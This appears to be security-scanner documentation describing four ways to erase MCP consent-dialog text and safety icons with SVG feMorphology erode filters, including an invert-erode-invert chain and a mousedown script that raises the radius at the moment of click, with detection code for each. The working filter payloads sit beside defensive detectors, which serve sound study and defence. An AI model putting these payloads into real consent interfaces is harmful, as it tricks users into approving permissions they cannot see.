MCP server SVG feMorphology erode consent security
Four SA-CSS-MRE consent attack patterns using feMorphology operator="erode" to apply a minimum-value filter that shrinks bright (light) regions — erasing white text strokes, destroying thin icon detail lines, and fragmenting consent checkmark shapes, while CSSOM reports unchanged styling.
The SVG feMorphology primitive applies mathematical morphology operators to image data. The operator="erode" mode computes, for each output pixel, the minimum color value found within a rectangular neighborhood of radius r pixels:
erode(x,y,channel) = min{ I(x+dx, y+dy, channel) : |dx| ≤ radiusX, |dy| ≤ radiusY }
The key insight for consent attacks: the minimum operation shrinks bright (high-value) regions when they are surrounded by dark (low-value) regions. For white text (high L) on a dark background (low L), erode shrinks the white strokes inward by the radius amount. For thin text strokes (≤ 2×radius in width), the stroke is completely consumed — the minimum of the neighborhood includes dark pixels on both sides, so the entire stroke region becomes dark. The white text disappears.
Direction of erosion depends on polarity: On standard dark-on-white text (dark glyphs on white background), erode shrinks dark regions (the background minimum expands over thin dark strokes). This actually makes thin dark text slightly bolder-looking at small radii or starts to break it at large radii. To use erode against dark-on-white text effectively, the attack must either invert the image before erosion (SA-CSS-MRE-003) or target white/light content specifically (consent checkmarks, white text on dark permission badges).
SA-CSS-MRE-001: erode on white consent text in dark-background permission badge
MCP consent dialogs often display permission badges with dark or colored backgrounds and white text labels (e.g., “FILE WRITE”, “NETWORK ACCESS”). On such a badge, the white text strokes are surrounded by dark background pixels. Erode with radius=2 shrinks the white strokes by 2 pixels on all sides. For a typical 12–14px white label at regular weight (stroke width 1–2px), the entire stroke is consumed.
<!-- Example: permission badge with white text on dark background -->
<div class="permission-badge"
style="background:#1a1a2e; color:white; padding:6px 12px; border-radius:4px;
filter:url(#mre001)">
FILE WRITE ACCESS
</div>
<svg style="position:absolute;width:0;height:0">
<defs>
<filter id="mre001">
<!-- radius=2 erodes bright (white text) regions inward by 2px.
12px bold text stroke width ≈ 2px → completely eroded.
14px regular text stroke width ≈ 1.5px → completely eroded.
Result: badge renders as solid dark rectangle with no visible text. -->
<feMorphology operator="erode" radius="2"/>
</filter>
</defs>
</svg>
/* WCAG analysis on eroded badge:
Before erode: white text (L=1.0) on dark background (L≈0.012) → contrast 21:1 (pass)
After erode radius=2 on 12px text:
- Stroke center: minimum of ±2px neighborhood includes dark background → L≈0.012
- Only sub-pixel antialiased edges remain: L ≈ 0.05−0.15
- Effective luminance of remaining content: ~0.05
- Contrast: (0.012 + 0.05) / (0.012 + 0.05) = 1.00:1 → complete fail
CSSOM: getComputedStyle(badge).color = "rgb(255,255,255)" (white — unchanged).
getComputedStyle(badge).filter = "url(#mre001)" — requires filter analysis. */
function detectFeMorphologyErode(filterEl) {
for (const fm of filterEl.querySelectorAll('feMorphology')) {
const op = (fm.getAttribute('operator') || 'erode').toLowerCase();
if (op === 'erode') {
const radius = parseFloat(fm.getAttribute('radius') || '0');
const radiusX = parseFloat(fm.getAttribute('radiusX') || String(radius));
const radiusY = parseFloat(fm.getAttribute('radiusY') || String(radius));
if (radiusX >= 1 || radiusY >= 1) {
return {
risk: radiusX >= 2 || radiusY >= 2 ? 'CRITICAL' : 'HIGH',
type: 'femorphology-erode-stroke-thinning',
radiusX, radiusY
};
}
}
}
return null;
}
SA-CSS-MRE-002: erode on SVG consent icon shape
Many MCP consent dialogs include SVG icons to communicate permission types or risk levels (shield, lock, checkmark, warning triangle). These icons typically have 1–3px detail lines: the tick mark of a checkmark, the body outline of a lock, the band of a shield. Erode with radius=2 eliminates all lines below 4px width and rounds/merges adjacent shapes that were previously separate.
<!-- Consent checkmark icon rendered via SVG inline in the dialog -->
<svg width="24" height="24" viewBox="0 0 24 24" style="filter:url(#mre002)">
<circle cx="12" cy="12" r="10" fill="none" stroke="#22c55e" stroke-width="2"/>
<path d="M7 12l4 4 6-6" fill="none" stroke="#22c55e" stroke-width="2"/>
</svg>
<!-- The consent checkmark path has stroke-width=2.
feMorphology erode radius=2:
- Circle outline (stroke-width=2): eroded to nothing; circle disappears.
- Checkmark path (stroke-width=2): eroded to nothing; checkmark disappears.
- Result: the green "approved/safe" icon becomes a blank SVG.
- The icon that communicates "this action is safe to approve" is erased.
- The consent dialog still displays, but the visual safety indicator is gone. -->
<filter id="mre002">
<feMorphology operator="erode" radius="2"/>
</filter>
/* Attack impact: destruction of semantic safety indicators.
The user sees a consent dialog without the visual affordance that
normally signals whether the requested action is safe or dangerous.
This is a semantic attack: not the text, but the icons that contextualize it.
WCAG: icon strokes → contrast below rendering threshold → perceptual 1.00:1 */
SA-CSS-MRE-003: invert-erode-invert chain — thin dark text strokes on white background
Standard dark-on-white consent text cannot be directly attacked by erode (which would expand the dark region, making text bolder). The workaround: invert the image colors before erosion, apply erode on the now-bright (white) strokes, then invert back. The double inversion restores the original colors, but the erosion phase has consumed the thin white strokes in the inverted domain — which correspond to the thin dark strokes in the original.
<filter id="mre003" color-interpolation-filters="sRGB">
<!-- Step 1: invert all channels. Dark text (L≈0.07) → light (L≈0.93).
White background (L=1.0) → black (L=0.0). -->
<feColorMatrix type="matrix"
values="-1 0 0 0 1
0 -1 0 0 1
0 0 -1 0 1
0 0 0 1 0"
result="inverted"/>
<!-- Step 2: erode on inverted image.
Inverted text strokes are now bright (L≈0.93) on black background (L=0.0).
Erode radius=2 shrinks the bright (inverted-text) region inward by 2px.
For 16px standard text, stroke width ≈ 1.5px → completely consumed.
Result: no bright text strokes in inverted domain. -->
<feMorphology in="inverted" operator="erode" radius="2" result="eroded"/>
<!-- Step 3: invert back. Black background (L=0) → white. Eroded strokes (L=0) → black.
But the strokes were eroded to zero, so the final image has no dark strokes:
the text has been erased from the normal-polarity image. -->
<feColorMatrix in="eroded" type="matrix"
values="-1 0 0 0 1
0 -1 0 0 1
0 0 -1 0 1
0 0 0 1 0"/>
</filter>
/* Effect on standard 16px dark-on-white consent text:
Before: text L≈0.07, background L=1.0, WCAG 14.3:1 (pass)
After: text strokes eroded to white in inverted domain → dark strokes erased in output
WCAG: ≈ 1.00:1 (no dark strokes remaining to form letters)
This 3-primitive chain uses no feFlood, no feComposite operator anomaly.
Detection requires recognizing the invert→erode→invert pattern as an
indirect stroke-erasure attack on dark-on-white text. */
SA-CSS-MRE-004: JavaScript mousedown radius transition (0 → 3)
Dynamic variant: the filter starts with radius="0" (identity — morphology with zero radius is a no-op) and transitions to radius="3" on mousedown. Consent text and icon shapes appear normally during review; all strokes ≤6px are erased at the moment of click confirmation.
<filter id="mre004">
<!-- radius=0: identity. No morphological change. -->
<feMorphology id="mre004-m" operator="erode" radius="0"/>
</filter>
document.getElementById('consentBtn').addEventListener('mousedown', () => {
document.getElementById('mre004-m').setAttribute('radius', '3');
/* radius=3: erodes bright regions by 3px.
6px or smaller bright strokes → completely erased.
Applies to white text badges, SVG icon thin lines, checkmark ticks. */
});
/* Detection via MutationObserver on radius/radiusX/radiusY attributes: */
const mo = new MutationObserver(mutations => {
for (const m of mutations) {
if (m.attributeName === 'radius' || m.attributeName === 'radiusX' || m.attributeName === 'radiusY') {
const newR = parseFloat(m.target.getAttribute(m.attributeName) || '0');
if (newR >= 1) {
const op = m.target.getAttribute('operator') || 'erode';
reportFinding('CRITICAL', 'SA-CSS-MRE-004', {
operator: op, radius: newR, attribute: m.attributeName
});
}
}
}
});
mo.observe(filterEl, {
subtree: true, attributes: true,
attributeFilter: ['radius', 'radiusX', 'radiusY', 'operator']
});
Summary of SA-CSS-MRE findings
| ID | Severity | Target | Mechanism | WCAG effect |
|---|---|---|---|---|
| SA-CSS-MRE-001 | CRITICAL | White text on dark badge | erode radius=2 shrinks white strokes to zero | 1.00:1 |
| SA-CSS-MRE-002 | HIGH | SVG icon thin lines | erode radius=2 erases icon detail strokes | Icon disappears |
| SA-CSS-MRE-003 | CRITICAL | Dark text on white background | Invert-erode-invert erases strokes in inverted domain | 1.00:1 |
| SA-CSS-MRE-004 | CRITICAL | Any light-colored consent content | JS mousedown radius 0→3 TOCTOU | 1.00:1 at click |